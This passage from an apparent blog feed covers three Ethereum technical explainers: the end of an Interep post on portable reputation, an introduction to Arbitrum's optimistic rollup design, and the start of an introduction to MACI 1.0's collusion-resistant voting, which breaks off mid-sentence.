be simply defined as recognition by other people of some characteristic or ability. In the Interep system, _providers_ act as the other people, _parameters_ represent characteristics or abilities, and _signals_ are proof of recognition. Interep begins by defining a source of reputation, then calculating the parameters of reputation, before allowing users to privately signal that they meet a pre-defined reputation criteria. ### Providers Reputation is only as good as its source. Interep itself does not provide a source of reputation but rather acts as a bridge to make reputation portable from different sources. The current Interep system includes Reddit, Twitter, Github, and [POAP NFTs](https://poap.xyz/) as sources of reputation, referred to as providers. The Interep process of exporting reputation begins when users select a provider. A provider such as Reddit (via [OAuth](https://docs.interep.link/technical-reference/groups/oauth)) shares information about a user’s profile with Interep. Interep takes the authenticated information and calculates a reputation score. The type of provider is used to generate a new identity and the reputation score determines which group the user can join. ### Parameters Reputational parameters determine a user’s reputation level as either gold, silver, or bronze. The more difficult-to-fake parameters a user has, the higher their reputation level, and the higher probability of them being an authentic or non-malicious user. Reddit parameters are defined as the following: - Premium subscription: true if the user has subscribed to a premium plan, false otherwise; - Karma: amount of user's karma; - Coins: amount of user's coins; - Linked identities: number of identities linked to the account (Twitter, Google). To be included in the Reddit gold reputation level, a user would need to have a premium subscription and a minimum of 10000 karma, 5000 coins, and 3 linked identities. ```json [ { "parameter": "premiumSubscription", "value": true }, { "parameter": "karma", "value": { "min": 10000 } }, { "parameter": "coins", "value": { "min": 5000 } }, { "parameter": "linkedIdentities", "value": { "min": 3 } } ] ``` https://docs.interep.link/technical-reference/reputation/reddit Defining parameters and reputation levels is an ongoing and collaborative process – one that you can help with by [contributing your knowledge and opinions to the Interep survey.](https://docs.google.com/forms/d/e/1FAIpQLSdMKSIL-3RBriGqA_v-tJhNJOCciQEX7bwFvOW7ptWeDDhjpQ/viewform) ### Signals If a user meets the criteria for the Reddit gold reputation level, they can now join the group with other users who have met the same criteria. Once you are a member of an Interep group, you can generate zero-knowledge proofs and signal to the world in a private, publicly verifiable way that you are very likely human. If you’re interested in seeing Interep in action, the smart contracts have been [deployed to Goerli](https://goerli.etherscan.io/address/0x9f44be9F69aF1e049dCeCDb2d9296f36C49Ceafb) along with a [staging app for end users.](https://goerli.interep.link/) ## Preserving privacy with Semaphore Interep integrates zero-knowledge proofs through [Semaphore](https://semaphore.appliedzkp.org/) so users only reveal the minimum amount of information necessary to join a group. Using Interep, Reddit users can keep everything about their profiles private including the exact number of karma or coins they possess. The only information revealed is that they meet the group’s requirements. Semaphore is a privacy protocol with a few simple, but powerful, functions: 1. Create a private identity 2. Use private identities to join a group 3. Send signals and prove you are a member of a group anonymously A Semaphore group is simply a Merkle tree, with each leaf corresponding to a unique identity. Interep checks a user’s reputation and adds them to a group based on their reputation level. After joining a group, users can generate valid zero knowledge proofs that act as an anonymous proof-of-membership in a group and prove they meet a certain reputation criteria. Platforms and dapps can verify if a user belongs to a group by verifying the users' zk-proofs and be confident that anyone in an Interep group has met the reputation requirements without having to identify individual users. ![https://github.com/interep-project/presentations/blob/main/DevConnect%20Amsterdam%20April%202022.pdf](/articles/interep-on-ramp-for-reputaion/3SOeA46pjr3NO8Q_ghtZg.webp) https://github.com/interep-project/presentations/blob/main/DevConnect%20Amsterdam%20April%202022.pdf To join an Interep group, you must first generate a Semaphore ID. Semaphore IDs are always created in the same way: they are derived from a message signed with an Ethereum account. On Interep, the Semaphore ID is generated using information from a provider such as Reddit, Github, Twitter, or POAP NFTs. These are called “deterministic identities” because the identity is generated using a specific message. A Reddit Semaphore ID and a Github Semaphore ID would be two different identities because they were generated using two different messages or inputs. ```js const identity = new Identity("secret-message") ``` https://semaphore.appliedzkp.org/docs/guides/identities#create-deterministic-identities Interep and Semaphore are interrelated. Semaphore acts as a privacy layer capable of generating and verifying zero-knowledge proofs. Interep bridges reputation from a variety of external sources while also managing user groups. Together, they create a system where off-chain reputation can be privately proven and verified on the blockchain. You can generate a Semaphore identity using the [@interep/identity](https://github.com/interep-project/interep.js/tree/main/packages/identity) package. Learn more about how Semaphore works in [this post](https://mirror.xyz/privacy-scaling-explorations.eth/ImQNsJsJuDf_VFDm9EUr4njAuf3unhAGiPu5MzpDIjI). ## Using reputation on-chain Establishing reputation on-chain is an important step to unlocking new use cases or improving existing use cases, many of which have been difficult to develop due to concerns about sybil attacks, a desire to curate the user base, or resistance to rebuilding existing reputation in a new environment. Some possibilities include: **Social Networks** Social networks (even decentralized ones) are generally meant for humans. Requiring users to have multiple sources of reputation to engage on a platform provides a practical anti-Sybil solution for a social network, while reputation tiers give users who have worked to establish a reputation elsewhere a head start on credibility. **Specialized DAOs** DAOs or any digital organization can filter out or select for specific reputation parameters. For example, a protocol needing experienced developers would prize a higher Github reputation. A DAO focused on marketing may only accept members with a certain Twitter follower account. Organizations especially focused on community building may only want members who have proven reputations on Reddit. **Voting** Online voting has long been a promise of blockchain technology, but strong privacy and identity guarantees have been missing. Anonymous on-chain reputation helps us get closer to a world where eligible humans can privately vote using the blockchain. Voting goes beyond traditional elections and can be used for [on-chain governance](https://vitalik.ca/general/2021/08/16/voting3.html) and [quadratic funding](https://ethereum.org/en/defi/#quadratic-funding) where unique humanity is more important than holding the most tokens. **Airdrops** Everyone likes an airdrop, but no one likes a Sybil attack. Reputation as “proof of individual” could help weed out users who try to game airdrops with multiple accounts while preserving more of the token allocation for authentic community members. ## Limitations Interep can do a lot of things, but it can’t do everything. Some current limitations include: - Centralization of reputation service: only Interep can calculate reputation. - Data availability: groups are currently saved in mongodb instance, which presents a single point of failure. This could be mitigated in the long term by moving to distributed storage. - Members cannot be removed. - The Interep server is a point of centralization. If a malicious actor gained access, they could censor new group additions or try to analyze stored data to reveal links between IDs. - It is possible for someone with access to the Interep database to determine which provider accounts have been used to create Interep identities - The way reputation is calculated is still very basic. We’d love your [feedback](https://docs.google.com/forms/d/e/1FAIpQLSdMKSIL-3RBriGqA_v-tJhNJOCciQEX7bwFvOW7ptWeDDhjpQ/viewform) on how to make it more robust! ## Credible humanity Existing web2 platforms can be centralized, opaque, and reckless with their user’s private information – all problems the Ethereum community is actively building solutions and alternatives for. However, these platforms also have well-developed user bases with strong reputational networks and social ties. All the digital reputation amassed over the years need not be thrown away in order to build a new decentralized version of the internet. With a pragmatic reputational on-ramp our Ethereum identities can become much more than a history of our financial transactions. They can become more contextual, more relational, more social, and more credibly human. ## Build with Interep If you’d like to learn more or build with Interep, check out our [documentation](https://docs.interep.link/), [presentation](https://www.youtube.com/watch?v=CoRV0V_9qMs), and Github [repo](https://github.com/interep-project). To get involved, join the conversation on [Discord](https://discord.gg/Tp9He7qws4) or help [contribute](https://docs.interep.link/contributing). Interep is possible thanks to the work of contributors including [Geoff Lamperd](https://github.com/glamperd) (project lead) and [Cedoor](https://github.com/cedoor). ]]> interep reputation privacy identity ethereum semaphore sybil resistance zero-knowledge proofs web3 social networks <![CDATA[A Technical Introduction to Arbitrum's Optimistic Rollup]]> https://pse.dev/blog/a-technical-introduction-to-arbitrums-optimistic-rollup https://pse.dev/blog/a-technical-introduction-to-arbitrums-optimistic-rollup Mon, 29 Aug 2022 00:00:00 GMT <![CDATA[ ![](https://miro.medium.com/max/1392/1*6CesZrI_Az8ZQ3Zff0y6gw.png) Originally published on Sep 30, 2021: Arbitrum is Offchain Labs' optimistic rollup implementation that aims to greatly increase the throughput of the Ethereum network. This guide is an introduction to how the Arbitrum design works and is meant for anyone looking to get a somewhat technical overview on this layer 2 solution. This article assumes that the reader has some knowledge of Ethereum and optimistic rollups. The following links may be helpful to those who would like more info on optimistic rollups: 1. [Optimistic Rollups](https://docs.ethhub.io/ethereum-roadmap/layer-2-scaling/optimistic_rollups/) 2. [An Incomplete Guide to Rollups](https://vitalik.ca/general/2021/01/05/rollup.html) 3. [A Rollup-Centric Ethereum Roadmap](https://ethereum-magicians.org/t/a-rollup-centric-ethereum-roadmap/4698) 4. [(Almost) Everything you need to know about the Optimistic Rollup](https://research.paradigm.xyz/rollups) The Arbitrum network is run by two main types of nodes — batchers and validators. Together these nodes interact with Ethereum mainnet (layer 1, L1) in order to maintain a separate chain with its own state, known as layer 2 (L2). Batchers are responsible for taking user L2 transactions and submitting the transaction data onto L1. Validators on the other hand, are responsible for reading the transaction data on L1, processing the transaction and therefore updating the L2 state. Validators will then post the updated L2 state data to L1 so that anyone can verify the validity of this new state. The transaction and state data that is actually stored on L1 is described in more detail in the 'Transaction and State Data Storage on L1' section. **Basic Workflow** 1. The basic workflow begins with users sending L2 transactions to a batcher node, usually the sequencer. 2. Once the sequencer receives enough transactions, it will post them into an L1 smart contract as a batch. 3. A validator node will read these transactions from the L1 smart contract and process them on their local copy of the L2 state. 4. Once processed, a new L2 state is generated locally and the validator will post this new state root into an L1 smart contract. 5. Then, all other validators will process the same transactions on their local copies of the L2 state. 6. They will compare their resultant L2 state root with the original one posted to the L1 smart contract. 7. If one of the validators gets a different state root than the one posted to L1, they will begin a challenge on L1 (explained in more detail in the 'Challenges' section). 8. The challenge will require the challenger and the validator that posted the original state root to take turns proving what the correct state root should be. 9. Whichever user loses the challenge, gets their initial deposit (stake) slashed. If the original L2 state root posted was invalid, it will be destroyed by future validators and will not be included in the L2 chain. The following diagram illustrates this basic workflow for steps 1–6. ![](https://miro.medium.com/max/1400/0*EQPPvkcBlIBmDD6I) ## Batcher Nodes and Submitting L2 Transaction Data There are two different L1 smart contracts that batcher nodes will use to post the transaction data. One is known as the 'delayed inbox' while the other is known as the 'sequencer inbox'. Anyone can send transactions to the delayed inbox, whereas only the sequencer can send transactions to the sequencer inbox. The sequencer inbox pulls in transaction data from the delayed inbox and interweaves it with the other L2 transactions submitted by the sequencer. Therefore, the sequencer inbox is the primary contract where every validator pulls in the latest L2 transaction data. There are 3 types of batcher nodes — forwarders, aggregators, and sequencers. Users can send their L2 transactions to any of these 3 nodes. Forwarder nodes forward any L2 transactions to a designated address of another node. The designated node can be either a sequencer or an aggregator and is referred to as the aggregator address. Aggregator nodes will take a group of incoming L2 transactions and batch them into a single message to the delayed inbox. The sequencer node will also take a group of incoming L2 transactions and batch them into a single message, but it will send the batch message to the sequencer inbox instead. If the sequencer node stops adding transactions to the sequencer inbox, anyone can force the sequencer inbox to include transactions from the delayed inbox via a smart contract function call. This allows the Arbitrum network to always be available and resistant to a malicious sequencer. Currently Arbitrum is running their own single sequencer for Arbitrum mainnet, but they have plans to decentralize the sequencer role in the future. The different L2 transaction paths are shown below. ![](https://miro.medium.com/max/1400/0*SnCy99ibeKg5ACA2) Essentially, batcher nodes are responsible for submitting any L2 transaction data onto L1. Once these transactions are processed on L2 and a new state is generated, a validator must submit that state data onto L1 as well. That process is covered in the next section. ## Validator Nodes and Submitting L2 State Data The set of smart contracts that enable validators to submit and store L2 state data is known as the rollup. The rollup is essentially a chain of blocks, so in other words, the rollup is the L2 chain. Note that the Arbitrum codebase refers to these blocks as 'nodes'. However, to prevent confusion with the terms 'validator nodes' and 'batcher nodes', I will continue to refer to these rollup nodes as blocks throughout the article. Each block contains a hash of the L2 state data. So, validators will read and process transactions from the sequencer inbox, and then submit the updated L2 state data hash to the rollup smart contract. The rollup, which stores a chain of blocks, will create a new block with this data and add it as the latest block to the chain. When the validator submits the L2 state data to the rollup smart contract, they also specify which block in the current chain is the parent block to this new block. In order to penalize validators that submit invalid state data, a staking system has been implemented. In order to submit new L2 state data to the rollup, a validator must be a staker — they must have deposited a certain amount of Eth (or other tokens depending on the rollup). That way, if a malicious validator submits invalid state data, another validator can challenge that block and the malicious validator will lose their stake. Once a validator becomes a staker, they can then stake on different blocks. Here are some of the important rules to staking: - Stakers must stake on any block they create. - Multiple stakers can stake on the same block. - Stakers cannot stake on two separate block paths — when a staker stakes on a new block, it must be a descendant of the block they were previously staked on (unless this is the stakers first stake). - Stakers do not have to add an additional deposit anytime they stake on a new block. - If a block loses a challenge, all stakers staked on that block or any descendant of that block will lose their stake. A block will be confirmed — permanently accepted in L1 and never reverted — if all of the following are true: - The 7 day period has passed since the block's creation - There are no existing challenging blocks - At least one staker is staked on it A block can be rejected (destroyed) if all of the following are true: - It's parent block is older than the latest confirmed block (the latest confirmed block is on another branch) - There is a staker staked on a sibling block - There are no stakers staked on this block - The 7 day period has passed since the block's creation Take the following diagram as an example: ![](https://miro.medium.com/max/1400/1*IqVGQClE2jh3_he2h03Y6g.png) In this example, since blocks 4 and 5 share the same parent, staker 5 decides to challenge staker 4 and wins since block 4 contains invalid state data. Therefore, both staker 4 and staker 6 will lose their stakes. Stakers will continue adding new blocks to the chain that contains blocks 5 and 7. Blocks 4 and 6 will then be destroyed after the 7 day period has passed. Even though stakers are necessary for the system to work, not all validator nodes are stakers. The different types of validators are explained in the next section. **Validator Types** Each validator may use a different strategy to keep the network secure. Currently, there are three types of supported validating strategies — Defensive, StakeLatest, and MakeBlocks (known as MakeNodes in the codebase). Defensive validators will monitor the rollup chain of blocks and look out for any forks/conflicting blocks. If a fork is detected, that validator will switch to the StakeLatest strategy. Therefore, if there are no conflicting blocks, defensive validators will not have any stakes. StakeLatest validators will stake on the existing blocks in the rollup if the blocks have valid L2 state data. They will advance their stake to the furthest correct block in the chain as possible. StakeLatest validators normally do not create new blocks unless they have identified a block with incorrect state data. In that case, the validators will create a new block with correct data and mandatorily stake on it. MakeBlocks validators will stake on the furthest correct block in the rollup chain as well. However, even when there are no invalid blocks, MakeBlocks validators will create new blocks once they have advanced their stake to the end of the chain. These are the primary validators responsible for progressing the chain forward with new state data. The following diagram illustrates the actions of the different validator strategies: ![](https://miro.medium.com/max/1400/1*YbTcGT7GgwId0XYdKLNHiA.png) ## Transaction and State Data Storage on L1 **Transaction Data Storage** As explained above, aggregator and sequencer nodes receive L2 transactions and submit them to the L1 delayed and sequencer inboxes. Posting this data to L1 is where most of the expenses of L2 come from. Therefore, it is important to understand how this data is stored on L1 and the methods used to reduce this storage requirement as much as possible. Aggregator nodes receive user L2 transactions, compress the calldata into a byte array, and then combine multiple of these compressed transactions into an array of byte arrays known as a transaction batch. Finally, they will submit the transaction batch to the delayed inbox. The inbox will then hash the transaction batch and store the hash in contract storage. Sequencer nodes follow a very similar pattern, but the sequencer inbox must also include data about the number of messages to include from the delayed inbox. This data will be part of the final hash that the sequencer inbox stores in contract storage. ![](https://miro.medium.com/max/1400/0*R-ib5WR8-cEm3AAy) **State Data Storage** After MakeBlocks validators read and process L2 transactions from the sequencer inbox, they will submit their updated L2 state data to the rollup smart contract. The rollup smart contract then hashes the state data and stores the hash in contract storage. ![](https://miro.medium.com/max/1400/1*W4AcHZLDfTOfUh2IJmuk5A.png) **Retrieving Transaction and State Data** Even though only the hash of the transaction and state data is stored in contract storage, other nodes can see the original data by retrieving the calldata of the transaction that submitted the data to L1 from an Ethereum full node. The calldata of transactions to the delayed or sequencer inboxes contain the data for every L2 transaction that the aggregator or sequencer batched. The calldata of transactions to the rollup contract contain all of the relevant state data — enough for other validators to determine if it is valid or invalid — for L2 at that time. To make looking up the transaction easier, the smart contracts emit an event to the Ethereum logs that allows anyone to easily search for either the L2 transaction data or the L2 state data. Since the smart contracts only have to store hashes in their storage rather than the full transaction or state data, a lot of gas is saved. The primary cost of rollups comes from storing this data on L1. Therefore, this storage mechanism is able to reduce gas expenses even further. ## The AVM and ArbOS **The Arbitrum Virtual Machine** Since Arbitrum L2 transactions are not executed on L1, they don't have to follow the same exact rules as the EVM for computation. Therefore, the Arbitrum team built their own virtual machine known as the Arbitrum Virtual Machine (AVM). The AVM is very similar to the EVM because a primary goal was to support compatibility with EVM compiled smart contracts. However, there are a few important differences. A major difference between the AVM and EVM is that the AVM must support Arbitrum's challenges. Challenges, covered in more detail in the next section, require that a step of transaction execution must be provable. Therefore, Arbitrum has introduced the use of CodePoints to their virtual machine. Normally, when code is executed, the instructions are stored in a linear array with a program counter (PC) pointing to the current instruction. Using the program counter to prove which instruction is being executed would take logarithmic time. In order to reduce this time complexity to constant time, the Arbitrum team implemented CodePoints — a pair of the current instruction and the hash of the next codepoint. Every instruction in the array has a codepoint and this allows the AVM to instantly prove which instruction was being executed at that program counter. CodePoints do add some complexity to the AVM, but the Arbitrum system only uses codepoints when it needs to make a proof about transaction execution. Normally, it will use the normal program counter architecture instead. There are quite a few other important differences that are well documented on Arbitrum's site — [Why AVM Differs from EVM](https://developer.offchainlabs.com/docs/inside_arbitrum#why-avm-differs-from-evm) **ArbOS** ArbOS is Arbitrum's own operating system. It is responsible for managing and tracking the resources of smart contracts used during execution. So, ArbOS keeps an account table that keeps track of the state for each account. Additionally, it operates the funding model for validators participating in the rollup protocol. The AVM has built in instructions to aid the execution of ArbOS and its ability to track resources. This support for ArbOS in the AVM allows ArbOS to implement certain rules of execution at layer 2 instead of in the rollup smart contracts on layer 1. Any computation moved from layer 1 to layer 2 saves gas and lowers expenses. ## Challenges Optimistic rollup designs require there be a way to tell whether the L2 state data submitted to L1 is valid or invalid. Currently, there are two widely known methods — replayability and interactive proving. Arbitrum has implemented interactive proving as their choice for proving an invalid state. When a validator submits updated state data to the rollup, any staker can challenge that block and submit the correct version of it. When a challenge begins, the two stakers involved (challenger and challenged staker) must take turns dividing the execution into an equal number of parts and claim which of those parts is invalid. Then they must submit their version of that part. The other staker will then dissect that part into an equal number of parts as well, and select which part they believe is invalid. They will then submit their version of that part. This process continues until the contested part of execution is only one instruction long. At this point, the smart contracts on L1 will perform a one step proof. Essentially, the one step proof executes that one instruction and returns an updated state. The block whose state matches that of the one step proof will win the challenge and the other block will lose their stake. The following diagram illustrates an example of a challenge. ![](https://miro.medium.com/max/1400/1*2FC-gSvb-LD99c6MMv4NEw.png) ## Conclusion **How does this raise Ethereum's transaction per second and lower transaction costs?** Arbitrum, along with all optimistic rollups, greatly improves the scalability of the Ethereum network and therefore lowers the gas costs (holding throughput constant). In L1 every Ethereum full node in the network will process the transaction, and since the network contains so many nodes, computation becomes very expensive. With Arbitrum, transactions will only be processed by a small set of nodes — the sequencer, aggregators, and validators. So, the computation of each transaction has been moved off of L1 while only the transaction calldata remains on L1. This clears a lot of space on L1 and allows many more transactions to be processed. The greater throughput reduces the gas costs since the competition for getting a transaction added to a block is lower. **Anything special about Abritrum's implementation of optimistic rollups?** Arbitrum's design gives many advantages that other rollup implementations don't have because of its use of interactive proving. Interactive proving provides a great number of benefits, such as no limits on contract size, that are outlined in good detail on Arbitrum's site — [Why Interactive Proving is Better](https://developer.offchainlabs.com/docs/inside_arbitrum#why-interactive-proving-is-better). With Arbitrum's successful mainnet launch (though still early), it's clear that the project has achieved an incredible feat. If you're interested in reading more on Arbitrum's optimistic rollup, their documentation covers a lot more ground and is easy to read. - [Arbitrum Doc — Inside Arbitrum](https://developer.offchainlabs.com/docs/inside_arbitrum) - [Arbitrum Doc — Rollup Protocol](https://developer.offchainlabs.com/docs/rollup_protocol) - [Arbitrum Doc — AVM Design Rationale](https://developer.offchainlabs.com/docs/avm_design) - [Arbitrum Doc — Overview of Differences with Ethereum](https://docs.arbitrum.io/build-decentralized-apps/arbitrum-vs-ethereum/comparison-overview) ]]> arbitrum optimistic rollup l2 scaling ethereum rollup infrastructure/protocol education <![CDATA[A Technical Introduction to MACI 1.0 - Privacy Stewards of Ethereum]]> https://pse.dev/blog/a-technical-introduction-to-maci-10-privacy-scaling-explorations https://pse.dev/blog/a-technical-introduction-to-maci-10-privacy-scaling-explorations Mon, 29 Aug 2022 00:00:00 GMT <![CDATA[ ![](https://miro.medium.com/max/1400/0*aWsBozO7zkpxbwpH.png) Originally published on Jan 18, 2022: 1. [Introduction](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#5e4c) a. [Background](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#2bcd) 2. [System Overview](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#6ca2) a. [Roles](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#f130) b. [Vote Overriding and Public Key Switching](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#0b6f) c. [zk-SNARKs](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#aa08) 3. [Workflow](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#357c) a. [Sign Up](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#a35f) b. [Publish Message](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#37df) c. [Process Messages](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#493a) d. [Tally Votes](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#56b5) 4. [Conclusion](https://mirror.xyz/privacy-scaling-explorations.eth/IlWP_ITvmeZ2-elTJl44SCEGlBiemKt3uxXv2A6Dqy4#53c9) MACI, which stands for Minimal Anti-Collusion Infrastructure, is an application that allows users to have an on-chain voting process with greatly increased collusion resistance. A common problem among today's on-chain voting processes is how easy it is to bribe voters into voting for a particular option. Oftentimes this bribery takes the form of "join our pool (vote our way) and we will give you a cut of the rewards (the bribe)"". Since all transactions on the blockchain are public, without MACI, voters can easily prove to the briber which option they voted for and therefore receive the bribe rewards. MACI counters this by using zk-SNARKs to essentially hide how each person voted while still revealing the final vote result. User's cannot prove which option they voted for, and therefore bribers cannot reliably trust that a user voted for their preferred option. For example, a voter can tell a briber that they are voting for option A, but in reality they voted for option B. There is no reliable way to prove which option the voter actually voted for, so the briber does not have the incentive to pay voters to vote their way. ## a. Background For a general overview, the history and the importance of MACI, see [Release Announcement: MACI 1.0](https://medium.com/privacy-scaling-explorations/release-announcement-maci-1-0-c032bddd2157) by Wei Jie, one of the creators. He also created a very helpful [youtube video](https://www.youtube.com/watch?v=sKuNj_IQVYI) on the overview of MACI. To see the origin of the idea of MACI, see Vitalik's research post on [Minimal Anti-Collusion Infrastructure](https://ethresear.ch/t/minimal-anti-collusion-infrastructure/5413?u=weijiekoh). Lastly, it is recommended to understand the basic idea behind zk-SNARKs, as these are a core component of MACI. The following articles are great resources: - [Introduction to zk-SNARKs](https://consensys.net/blog/developers/introduction-to-zk-snarks/) — Consensys - [What are zk-SNARKs](https://z.cash/technology/zksnarks/) — Zcash - [An approximate introduction to how zk-SNARKs are possible](https://vitalik.ca/general/2021/01/26/snarks.html) — Vitalik - [zkSNARKs in a nutshell](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) — Ethereum.org This article will go over the general workflow of MACI and how it is capable of providing the following tenets (taken word for word from Wei Jie's article): 1. **Collusion Resistance**: No one except a trusted coordinator should be certain of the validity of a vote, reducing the effectiveness of bribery 2. **Receipt-freeness**: No voter may prove (besides to the coordinator) which way they voted 3. **Privacy**: No one except a trusted coordinator should be able to decrypt a vote 4. **Uncensorability**: No one (not even the trusted coordinator) should be able to censor a vote 5. **Unforgeability**: Only the owner of a user's private key may cast a vote tied to its corresponding public key 6. **Non-repudiation**: No one may modify or delete a vote after it is cast, although a user may cast another vote to nullify it 7. **Correct execution**: No one (not even the trusted coordinator) should be able to produce a false tally of votes ## 2\. System Overview ## a. Roles In the MACI workflow, there are two different roles: users (voters) and a single trusted coordinator. The users vote on the blockchain via MACI smart contracts, and the coordinator tallies up the votes and releases the final results. The coordinators must use zk-SNARKs to prove that their final tally result is valid without releasing the vote of every individual. Therefore, even if a coordinator is corrupt, they are unable to change a user's vote or add extra votes themselves. A corrupt coordinator can stop a vote by never publishing the results, but they can't publish false results. Before sending their vote on the blockchain, users encrypt their vote using a shared key that only the user and coordinator can know. This key scheme is designed so that every individual user shares a distinct key with the coordinator. This prevents any bribers from simply reading the transaction data to see which option a user voted for. The encrypted vote is now considered a "message" and the user sends this message to a MACI smart contract to be stored on-chain. A very simplified illustration of this encryption can be seen below: ![](https://miro.medium.com/max/1400/0*tJ-W98tt7Q0ZgEUF) ## b. Vote Overriding and Public Key Switching Before a user can cast a vote, they must sign up by sending the public key they wish to use to vote to a MACI smart contract. This public key acts as their identity when voting. They can vote from any address, but their message must contain a signature from that public key. When casting an actual vote after signing up, a user will bundle a few variables — including a public key, their vote option, their vote amount, and a few others — into what is called a "command". Then, the user signs the command with the public key they originally used to sign up. After that, the user encrypts the signature and command together so that it is now considered a message. This more complex description of how a message is constructed is illustrated below: ![](https://miro.medium.com/max/1400/0*whHfC8-xxAwSyaaO) Users are able to override their previous vote as long as they sign their command with the previous public key. If the command is properly signed by the user's previous public key, then the message is considered valid and the coordinator will count this as the correct vote. So, when a user provides a public key in their vote that is different than their previous public key, they may now submit a new vote signed by this new public key to override their previous vote. If the signature is not from the previous public key, the message will be marked as invalid and not counted toward the tally. Therefore, the public key can be thought of as the user's voting username, and the signature is the voting password. If they provide the correct signature, they can submit a vote or change their public key — or both. This feature, which I refer to as public key switching, is designed to counter the bribery attack where a user simply shows the briber their message, and then decrypts it for the briber to see which way the user voted. Public key switching allows users to change their public key and create invalid messages in favor of the bribers. The bribers have no way of telling if the user switched their public keys before sending in the vote shown to the bribers. This can be quite confusing so here is an example: 1. Bob signs up with public key 1 2. Bob then creates a command that contains — a vote for option A and public key 2 3. Bob signs this command with public key 1, the key he used to sign up 4. Bob encrypts this command into a message and submits it to the MACI smart contracts 5. The coordinator decrypts this message, and checks to ensure that the command is signed by Bob's previous key — public key 1. This message is valid. 6. The coordinator then records Bob's vote for option A and updates his public key to public key 2 ![](https://miro.medium.com/max/1400/0*t3CAiLfDniv2fkYI) At this point, Bob has successfully voted for option A, and in order to override this vote must send in a new vote with a signature from public key 2. At this point, a briber now tries to get Bob to vote for option B: 1. Bob creates a command that contains — a vote for option B and public key 1 2. Bob signs this command with public key 1, encrypts the message and submits it to the MACI smart contracts 3. Bob shows the briber the decrypted message as proof of his vote for option B 4. The coordinator decrypts Bob's message and sees that the signature does not match up with public key 2 — Bob's previous key added in his previous message. Therefore this message is invalid and this vote is not counted in the final tally. 5. The briber has no way of knowing whether the vote was valid or invalid, and so is not incentivized to offer bribes to other users. ![](https://miro.medium.com/max/1400/0*tqKB8TxOQj27IVS3) In order to get a good idea of how MACI works, it's important to know how the zk-SNARKs are able to prove that the coordinator decrypted each message and tallied the votes properly. The next section gives a quick and much oversimplified overview of zk-SNARKs, although the readings listed in the introduction are much more helpful. ## c. zk-SNARKs Essentially, zk-SNARKs allow users to prove they know an answer to a specific mathematical equation, without revealing what that answer is. Take the following equation for example, > X + Y = 15 I can prove that I know 2 values, X and Y that satisfy the equation without revealing what those two values are. When I create a zk-SNARK for my answer, anyone can use the SNARK (a group of numbers) and validate it against the equation above to prove that I do know a solution to that equation. The user is unable to use the SNARK to find out my answers for X and Y. For MACI, the equation is much more complicated but can be summarized as the following equations: > encrypt(command1) = message1 > > encrypt(command2) = message2 > > encrypt(command3) = message3 > > … > > Command1 from user1 + command2 from user2 + command3 from user3 + … = total tally result Here, everyone is able to see the messages on the blockchain and the total tally result. Only the coordinator knows what the individual commands/votes are by decrypting the messages. So, the coordinator uses a zk-SNARK to prove they know all of the votes that: 1. Encrypt to the messages present on the blockchain 2. Sum to the tally result Users can then use the SNARK to prove that the tally result is correct, but cannot use it to prove any individual's vote choices. Now that the core components of MACI have been covered, it is helpful to dive deeper into the MACI workflow and specific smart contracts. ## 3\. Workflow The general workflow process can be broken down into 4 different phases: 1. Sign Up 2. Publish Message 3. Process Messages 4. Tally Results These phases make use of 3 main smart contracts — MACI, Poll and PollProcessorAndTallyer. These contracts can be found on the [MACI github page](https://github.com/privacy-scaling-explorations/maci/tree/dev/packages/contracts). The MACI contract is responsible for keeping track of all the user sign ups by recording the initial public key for each user. When a vote is going to take place, users can deploy a Poll smart contract via MACI.deployPoll(). The Poll smart contract is where users submit their messages. One MACI contract can be used for multiple polls. In other words, the users that signed up to the MACI contract can vote on multiple issues, with each issue represented by a distinct Poll contract. Finally, the PollProcessorAndTallyer contract is used by the coordinator to prove on-chain that they are correctly tallying each vote. This process is explained in more detail in the Process Messages and Tally Results sections below. ![](https://miro.medium.com/max/1400/0*NA8cwQvAhZoX7Pia) ## a. Sign Up The sign up process for MACI is handled via the MACI.sol smart contract. Users need to send three pieces of information when calling MACI.signUp(): 1. Public Key 2. Sign Up Gatekeeper Data 3. Initial Voice Credit Proxy Data The public key is the original public key mentioned in above sections that the user will need to vote. As explained in earlier sections, they can change this public key later once voting starts. The user's public key used to sign up is shared amongst every poll. MACI allows the contract creator/owner to set a "signUpGateKeeper". The sign up gatekeeper is meant to be the address of another smart contract that determines the rules to sign up. So, when a user calls MACI.signUp(), the function will call the sign up gatekeeper to check if this user is valid to sign up. MACI also allows the contract creator/owner to set an "initialVoiceCreditProxy". This represents the contract that determines how many votes a given user gets. So, when a user calls MACI.signUp(), the function will call the initial voice credit proxy to check how many votes they can spend. The user's voice credit balance is reset to this number for every new poll. Once MACI has checked that the user is valid and retrieved how many voice credits they have, MACI stores the following user info into the Sign Up Merkle Tree: 1. Public Key 2. Voice Credits 3. Timestamp ![](https://miro.medium.com/max/1400/0*h6otS_gfiZ2Wjvoq) ## b. Publish Message Once it is time to vote, the MACI creator/owner will deploy a Poll smart contract. Then, users will call Poll.publishMessage() and send the following data: 1. Message 2. Encryption Key As explained in sections above, the coordinator will need to use the encryption key in order to derive a shared key. The coordinator can then use the shared key to decrypt the message into a command, which contains the 